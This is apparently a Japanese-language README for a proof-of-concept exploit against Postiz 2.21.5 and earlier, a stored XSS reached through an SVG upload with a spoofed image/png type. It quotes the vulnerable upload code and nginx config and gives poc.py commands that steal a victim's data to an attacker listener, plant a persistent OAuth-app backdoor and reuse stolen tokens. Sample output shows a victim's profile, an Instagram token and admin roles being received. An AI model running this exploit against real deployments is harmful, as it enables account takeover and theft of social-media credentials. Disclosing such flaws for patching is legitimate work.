攻撃者がContent-Type: image/pngの.svgをアップロード
  -> サーバーはContent-Typeヘッダーのみを検証（CWE-345）
    -> ファイルは元の.svg拡張子でディスクに保存される（CWE-434）
      -> nginxがimage/svg+xmlとして配信
        -> ブラウザが埋め込まれたJavaScriptを実行（CWE-79）
          -> 同一オリジン: 被害者のセッションへの完全なアクセス

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

Python 3.8+
pip install requests

# 1. ターゲットが脆弱かどうかを確認
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. 被害者からすべてを窃取
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. 永続的なバックドアを作成
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. 認証情報なしでトークンを再利用
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

攻撃者                    サーバーPostiz              被害者
    |                              |                        |
    |-- 1. ログイン/登録 -------->|                        |
    |-- 2. 悪意のあるSVGをアップロード --->|                        |
    |<---- ファイルのURL -----------|                        |
    |-- 3. URLを被害者に送信 --------------------------->  |
    |                              |<--- 4. URLを開く ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JSが実行され、データを窃取 -----------|

$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — MIME偽装ファイルアップロードによるStored XSS

[*] [email protected] としてログイン中 ...
[+] 認証成功。
[*] ペイロード生成中: すべてを単一のペイロードで窃取
[*] Content-Type: image/png の悪意のある.svgをアップロード中 ...
[+] アップロード成功。
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 0.0.0.0:8888 で窃取リスナーを起動中 ...

=================================================================
  このURLを被害者に送信してください:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] 被害者がリンクを開くのを待機中 ...

[+] 2026-04-15 03:45:41 にデータを受信
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] 2026-04-15 03:45:41 にデータを受信
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] 2026-04-15 03:45:42 にデータを受信
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...